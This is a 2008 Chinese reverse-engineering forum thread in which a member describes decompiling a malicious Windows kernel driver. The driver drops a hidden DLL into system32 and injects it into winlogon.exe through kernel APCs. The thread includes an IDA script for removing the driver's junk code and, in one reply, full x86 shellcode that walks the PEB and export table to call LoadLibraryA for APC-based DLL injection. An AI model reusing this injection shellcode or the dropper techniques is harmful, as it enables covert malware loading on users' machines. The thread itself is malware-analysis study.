首页
社区
课程
招聘
[原创]逆向fuck.sys--编译通过--源码
发表于: 2008-6-6 20:03 15064

[原创]逆向fuck.sys--编译通过--源码

2008-6-6 20:03
15064
[LEFT]前言:
一直很向往进入Debugman论坛的RCT这个核心团队,但自己水平有限,最后没有过关. [/LEFT]

[LEFT]呵呵,不过俺从中学到了很多东西,于是发此帖分享一下学习成果;也顺便请教各位大牛,希望您有时间的话,逆一份更加好的code.偶逆的这份code虽然大致实现了原来驱动的功能,但写的毕竟很粗糙,希望有逆向经验的同学能给予部分提示和指导,偶也能从中总结经验和教训,争取在短时间内提高自己,以便下次再申请加入RCT.[/LEFT]

[LEFT]正文:

/*****************************************************************************************************************
[LEFT]* AUTHOR : sudami [sudami@163.com]
* TIME : 2008/06/05
*
* Command:
*
* 这份code是完成XIKUG给的题目:“逆向fuck.sys,给出源码,编译成功,替换原驱动的功能”
* code已经基本实现了原驱动的功能,部分瑕疵有:
*
* 1. 驱动卸载时候会BSOD, 和加进来的DLL资源有关. 不加DLL资源,则可正常加载卸载.
* 2. 驱动中包含的DLL未用XOR加密,故释放DLL时不用解密.但解密部分的code保留
* 3. DLL加载后,偶没有调用DeleteFileW来删除这个DLL,保留这个功能; 调用LoadLirary
* 经过长久思考,换回原来的硬编码. 动态获取其地址的code保留.可运行.
*
*
* Description:
*
* ------ 原驱动的功能 ------
* 1. 驱动入口; 解密出“ImagePath”;在注册表得到自身的全路径;读取自身文件;定位到SYS最后一个节的
* 结束处;获取一个DOWRD的DLL文件大小,偏移后开始解密DLL,将获取的数据存放的申请的非分页内存中;
* 写DLL到\SYSTEMROOT\SYSTEM32\winlib .dll.
* [sudami注:这里有个小技巧,为防止同名不可删除文件干扰DLL的释放,作者进行了判断,winlib0.dll ~ winlib10.dll]
*
* 2. 映射kernel32.dll到内存,搜索EAT得到个函数的地址-
* LoadLibraryA 、GetSystemDirectoryW 、lstrcatW 、DeleteFileA
*
* 3. 进入正常的驱动流程IoCreateDevice、IoCreateSymbolicLink
*
* 4. 调用IoCreateNotificationEvent创建事件对象\\BaseNamedObjects\\UID_1329147602_MIEEvent,
* 负责激活等待的系统线程; PsSetCreateProcessNotifyRoutine检测进程的创建
*
* 5. PsCreateSystemThread创建线程.它完成的功能如下:
* 遍历ActiveProcessLinks链表找到winlogon.exe,从中找一个可插APC的线程;初始化APC,插入之.
* 路径为SYSTEMROOT\SYSTEM32\winlib.dll.调用loadlibrary来加载这个DLL.,而后等待事件的触发...
* 当检测到IE启动时,设置事件对象为受信状态, 激活等待的线程,释放掉EVENT占用的内存,再释放掉MDL.
* DLL加载完成后会被删除.
* [sudami注:原作者这个的EVENT估计是和R3进行通讯用的,在这里保留其功能]
*
* ------ 总结 ------
* 总的来说,驱动的主要功能便是"释放DLL,插APC加载DLL".
* 1. 刚开始调试时不知如何下手,因为驱动加了很多花,IDA基本看不到内容,而偶第一次接触到驱动加花,一时很头大;
*
* 2. 脑子里想着如何去花,若能动态调试,先不去花也能看看驱动的基本流程了,抱着这个想法,偶拿起不熟悉的windbg
* 双机调试起来,弄了大半会儿效果不好,换用softice,无奈偶不是很熟悉,再换用syser,另偶感到郁闷的是load该驱动
* 总是失败,MS带反调试???然后暂时放弃了动态调试的方式
*
* 3. 再google一看,发现winhex或者IDC很好去掉.于是开始琢磨起来,无奈编写IDC第一次接触,无太多的时间用它来去花,
* 索性拿起不怎么熟悉的winhex,很好很强大; 于是偶拿着IDA 和winhex,开始漫长的去花过程,由于偶太菜,去花用了
* 2天时间,而且没有去全,不过此时得到的IBD已经很明晰了,偶也从中学到了不少东西;
*
* 4. 此时才开始正式的逆向还原code工作.其实有了F5,只是方便了一点儿,大部分的时间还得自己编写调试code.断断续续
* 的调试了天(期间有专业实习,实验报告,公司实习等,时间不是很充裕),遇到了一个又一个障碍. 比如:
* R0插APC加载DLL 、释放DLL到系统目录、加资源到SYS文件末尾、驱动加花、...
*
* 5. 好在问题都被一一化解,从中偶又学到了学多偶以前不熟悉的知识.感觉逆向很能锻炼一个人的耐心和解决问题的能力.
*
* ------ 后记 ------
* 感谢XIKUG给俺这次机会,偶非常希望进入RCT这个核心团队; 虽然这次逆的code很粗糙,但偶相信以后会越来越熟练,写出来
* 的code也一定越来越完善.
*
* Copyright (c) 2008 sudami.
* Freely distributable in source or binary for noncommercial purposes.
* This is not a virus, So take it easy, just for fun.
*[/LEFT]
[/LEFT]
*****************************************************************************************************************/

总结几点:
1. 驱动去花
偶碰到的这个驱动,加花代码如下:
[LEFT]jz @F
jnz @F 
db 0E8h[/LEFT]
 

@@:


在IDA的图片如下:



故若用winhex,可先在IDA中定位到这段花,复制其2进制文件,再到winhex查找替换为nop即可。不过这种方式实在是体力活,有去花经验的同学可以编写IDC脚本进行去除操作。基本思路如下:
 

[LEFT][COLOR=black]#include <idc.idc>[/COLOR]
 
 
[LEFT][COLOR=black]static main()[/COLOR]

[COLOR=black]{[/COLOR]
[LEFT][COLOR=black]auto i,j,from,size; [/COLOR]
[COLOR=black]from=0x401000; //[/COLOR][COLOR=black]起始地址,你指定一下[/COLOR]
[COLOR=black]size=0x100;//[/COLOR][COLOR=black]扫描数据块大小[/COLOR][/LEFT]
 
[LEFT][COLOR=black]for ( i=0; i < size;i++ ) { [/COLOR][/LEFT]
 
[LEFT][COLOR=black]//[/COLOR][COLOR=black]查找 0F 82 07 ?? ?? ??,替换90[/COLOR]
[COLOR=black]   if ((Byte(from)==0x0f)&&(Byte(from+1)==0x82)&&(Byte(from+2)==0x07))[/COLOR]
[COLOR=black]  {[/COLOR]
[COLOR=black]        for(j=0;j<5;j++)[/COLOR]
[COLOR=black]       {[/COLOR]
[COLOR=black]            PatchByte(from,0x90);[/COLOR]
[COLOR=black]            from++;[/COLOR]
[COLOR=black]         }[/COLOR]
[COLOR=black]         continue;[/COLOR]
[COLOR=black]    }[/COLOR]
[COLOR=black]//[/COLOR][COLOR=black]查找 0F 83 01 ?? ?? ??,替换90[/COLOR]
[COLOR=black]   if ((Byte(from)==0x0f)&&(Byte(from+1)==0x83)&&(Byte(from+2)==0x01))[/COLOR]
[COLOR=black]  {[/COLOR]
[COLOR=black]       for(j=0;j<5;j++)[/COLOR]
[COLOR=black]       {[/COLOR]
[COLOR=black]            PatchByte(from,0x90);[/COLOR]
[COLOR=black]            from++;[/COLOR]
[COLOR=black]         }[/COLOR]
[COLOR=black]         continue;[/COLOR]
[COLOR=black]    }[/COLOR]
[COLOR=black]      from++;[/COLOR]
[COLOR=black] }[/COLOR]
[COLOR=black] Message("\n" + "OK\n");[/COLOR]
[COLOR=black]}[/COLOR][/LEFT]

[/LEFT]

 

[LEFT]--------------------------------------------------------------------

2. 驱动加载DLL资源
和EXE类似,因为驱动加载后要释放出资源,所以偶这里有2种选择:
A.为SYS增加一个新节,在新节中添入DLL资源文件.重新计算校验和
B.在SYS最后一个节的结束处,即文件末尾添加资源文件.重新计算校验和[/LEFT]

[LEFT]
[/LEFT]

[LEFT]偶选择的是第2种.插入DLL资源前,驱动自由10.KB,加入后就变大了些:
[/LEFT]

[LEFT]当然,你也可以用PE-DIY等工具来为SYS增加新节,注意得按文件对齐来分配大小SYS加载时,读取自身文件,定位到资源处,解密后写入新文件即可.[/LEFT]

[LEFT]3. 插APC加载DLL
其实和运行EXE差不多的原理,只不过把winexec换成了LoadLiraryA(W),最好不要用引编码,因为不干净的机器上可能会被安全软件修改.驱动中获得的函数地址,要放到事情的MDL中,因为APC执行时已经到了用户空间,不可能访问驱动中的全局变量..[/LEFT]

[LEFT]逆向完后,编译运行,得到SYS,以下是运行效果:


[/LEFT]

[/LEFT]

[课程]Linux pwn 探索篇!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (20)
雪    币: 581
活跃值: (149)
能力值: ( LV12,RANK:600 )
在线值:
发帖
回帖
粉丝
2
RCT没进可惜....
2008-6-6 20:40
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
3
不可惜,继续努力呗 ~~
2008-6-6 20:41
0
雪    币: 7309
活跃值: (3778)
能力值: (RANK:1130 )
在线值:
发帖
回帖
粉丝
4
RCT的考题越来越南了
2008-6-6 21:30
0
雪    币: 564
活跃值: (42)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
5
怎么你的代码和这里的代码有些是一样的:http://www.antiprotect.com/forum_posts.asp?TID=107
2008-6-6 21:39
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
6
和sysnap研究了下。
2008-6-6 21:58
0
雪    币: 1946
活跃值: (243)
能力值: (RANK:330 )
在线值:
发帖
回帖
粉丝
7
考到越南去了
2008-6-6 22:07
0
雪    币: 564
活跃值: (42)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
8
其实也没什么,,只是我刚好在AntiProtect混,,又路过这里
大家一起进步把
2008-6-6 22:11
0
雪    币: 581
活跃值: (149)
能力值: ( LV12,RANK:600 )
在线值:
发帖
回帖
粉丝
9
哈哈.....其实我这个code那天也是简单地改APC启动进程的......然后做了下注释发给S同学....谁知道S同学也不把我的注释删掉......所以感觉就一样咯.....
2008-6-6 22:16
0
雪    币: 581
活跃值: (149)
能力值: ( LV12,RANK:600 )
在线值:
发帖
回帖
粉丝
10
其实这没什么...你当时老注入失败..我只是简单改下APC启动进程然后注释发给你...觉得没什么../....但你这句话感觉是我倒在偷你的代码....
2008-6-6 22:50
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
这个都拟掉了还不能进RCT....额.....
DM有点科举的意思了...好邪恶
2008-6-7 05:29
0
雪    币: 8865
活跃值: (2379)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
12
DLL没有逆向~~~我关心那个DLL
2008-6-7 10:24
0
雪    币: 8865
活跃值: (2379)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
13
这个插APC的代码里怎么硬编码了~
没啥意义了~
有时间写一个插入用模块好了~
呵呵~
2008-6-7 10:27
0
雪    币: 8865
活跃值: (2379)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
14
贴一段专业的LoadDLL的APC的shellcode算了~
__declspec(naked)
UserLoadDLL(
		 PCHAR	DLLPath,
		 PVOID	unused1,
		 PVOID	unused2
		 )
{
	__asm{
		push	ebp
			mov		ebp, esp
	}
	__asm{
		pushad
			sub		esp, 20 //存放得到的函数地址
			jmp		end
            
start:
        pop		edx                    // 指令表起始地址存放在  esp -> edx
			
			push	ebp//u 保存 下面这段程序用到了ebp
			
			// ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====
			//
			// 输入:
			// edx => 指令表起始地址 (不需要)
			//
			// 输出:
			// eax => kernel32.dll起始地址
			// edx => 指令表起始地址
			
			mov		eax, fs:0x30            // PEB 
			mov		eax, [eax + 0x0c]       // PROCESS_MODULE_INFO
			mov		esi, [eax + 0x1c]		// InInitOrder.flink
			lodsd
			mov		eax, [eax+8]
			
			// ========== 定位GetProcAddress的地址 ==========
			//
			// 输入:
			// eax => kernel32.dll起始地址
			// edx => 指令表起始地址
			//
			// 输出:
			// ebx => kernel32.dll起始地址
			// eax => GetProcAddress地址
			// edx => 指令表起始地址
			
			mov		ebx, eax							// 取kernel32.dll的起始地址
			mov		esi, dword ptr [ebx+0x3C]			//u 在e_lfanew中得到pe heAder
			mov		esi, dword ptr [esi+ebx+0x78]		//u export directory rvA
			add     esi, ebx					
			mov		edi, dword ptr [esi+0x20]			//u struct _IMAGE_EXPORT_DIRECTORY 中AddressOfNames; // RVA from base of image
			add		edi, ebx
			mov		ecx, dword ptr [esi+0x14]			//u AddressOfFunctions; // RVA from base of image
			xor		ebp, ebp
			push    esi
			
search_GetProcAddress:
        push    edi
			push    ecx
			mov		edi,dword ptr [edi]
			add		edi,ebx								// 把输出函数名表起始地址存人edi
			mov		esi,edx								// 指令表起始地址存入esi
			//mov    ecx,0Eh							// 函数getprocAddress长度为0Eh
			push    0xE
			pop		ecx
			repe    cmps byte ptr [esi],byte ptr [edi]
			je		search_GetProcAddress_ok
			
			pop		ecx
			pop		edi
			add		edi,4  ///
			inc		ebp
			loop	search_GetProcAddress
			
search_GetProcAddress_ok:
        pop		ecx   
			pop		edi
			pop		esi
			mov		ecx, ebp
			mov		eax, dword ptr [esi+24h]			//u AddressOfNameOrdinals; // RVA from base of image
			add		eax, ebx
			shl		ecx, 1
			add		eax, ecx
			xor		ecx, ecx
			mov		cx,  word ptr [eax]
			mov		eax, dword ptr [esi+1Ch]			//AddressOfFunctions; // RVA from base of image
			add		eax, ebx
			shl		ecx, 2
			add		eax, ecx
			mov		eax, dword ptr [eax]
			add		eax, ebx
			
			
			pop		ebp//u 保存
			//--------------------------------------------------------------------
			
			// ============ 调用函数解决api地址 ============
			//
			// 输入:
			// ebx =>kernel32.dll起始地址
			// eax =>GetProcAddress地址
			// edx =>指令表起始地址
			//
			// 输出:
			// edi =>函数地址base addr
			// esi =>指令表当前位置
			// edx =>GetProcAddress 地址
			
			mov		edi,edx
			mov		esi,edi
			add		esi,0xE						// 0xE 跳过1个字符串"GetProcAddress"
			
			// ============ 解决kernel32.dll中的函数地址 ============
			mov		edx,eax						// 把GetProcAddress 地址存放在edx    
			push    0x1							// 需要解决的函数地址的个数 硬编码可以节省两个字节
			pop		ecx
			mov		edi, esp					///////// get some spAce to edi
			call    locator_api_addr	
			
			
			push	DLLPath
			call	dword ptr [edi-4]
			jmp		end_func
			
			//--------------------------------------------------------------------
			// ============ 解决api地址的函数 ============
			//
			// 输入参数:
			// ecx 函数个数
			// edx GetProcAddress 地址
			// ebx 输出函数的dll起始地址
			// esi 函数名表起始地址
			// edi 保存函数地址的起始地址
			
locator_api_addr:
        
locator_space:
        xor			eax, eax
			lodsb
			test		eax, eax                // 寻找函数名之间的空格x00
			jne			locator_space
			
			push		ecx
			push		edx
			
			push		esi                    // 函数名
			push		ebx                    // 输出函数的dll起始地址
			call		edx
			pop			edx
			pop			ecx
			stos		dword ptr [edi]
			loop		locator_space
			xor			eax, eax
			ret
			//--------------------------------------------------------------------
			
			// ==================  结束调用 ====================
end:
        call    start
			__emit 'G'
			__emit 'e'
			__emit 't'
			__emit 'P'
			__emit 'r'
			__emit 'o'
			__emit 'c'
			__emit 'A'
			__emit 'd'
			__emit 'd'
			__emit 'r'
			__emit 'e'
			__emit 's'
			__emit 's'
			__emit 0
			__emit 'L'
			__emit 'o'
			__emit 'a'
			__emit 'd'
			__emit 'd'
			__emit 'L'
			__emit 'i'
			__emit 'b'
			__emit 'r'
			__emit 'a'
			__emit 'r'
			__emit 'y'
			__emit 'A'
			__emit 0
			
end_func:
		add esp,20
			popad
	}
	__asm
	{
		mov esp,ebp
		pop ebp
		ret		
	}
}
//--------------------------------------------------------------------
__declspec(naked) UserLoadDLL_end(VOID)
{
	__asm{
		__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
			__emit 0
	}
	
	
}
2008-6-7 10:34
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
15
学习~~~
2008-6-7 10:38
0
雪    币: 8865
活跃值: (2379)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
16
user部分的APC的code基本上就是一个要自己重定位的小病毒,用病毒技术自然就可以了,当然你可以自己生成这部分code,还可以做变形多态之类的工作~~
2008-6-7 10:45
0
雪    币: 581
活跃值: (149)
能力值: ( LV12,RANK:600 )
在线值:
发帖
回帖
粉丝
17
vxk好强大哦
2008-6-7 10:50
0
雪    币: 8865
活跃值: (2379)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
18
不强大~
比起shellcode的好处就是这部分代码长度没有多少限制~~
2008-6-7 10:56
0
雪    币: 9873
活跃值: (3021)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
学习~~~
2008-6-12 15:34
0
雪    币: 150
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
学习~~~~~~~~~~
2008-6-12 22:12
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tkb
21
好好学习下~~
2008-6-13 22:16
0
游客
登录 | 注册 方可回帖
返回
//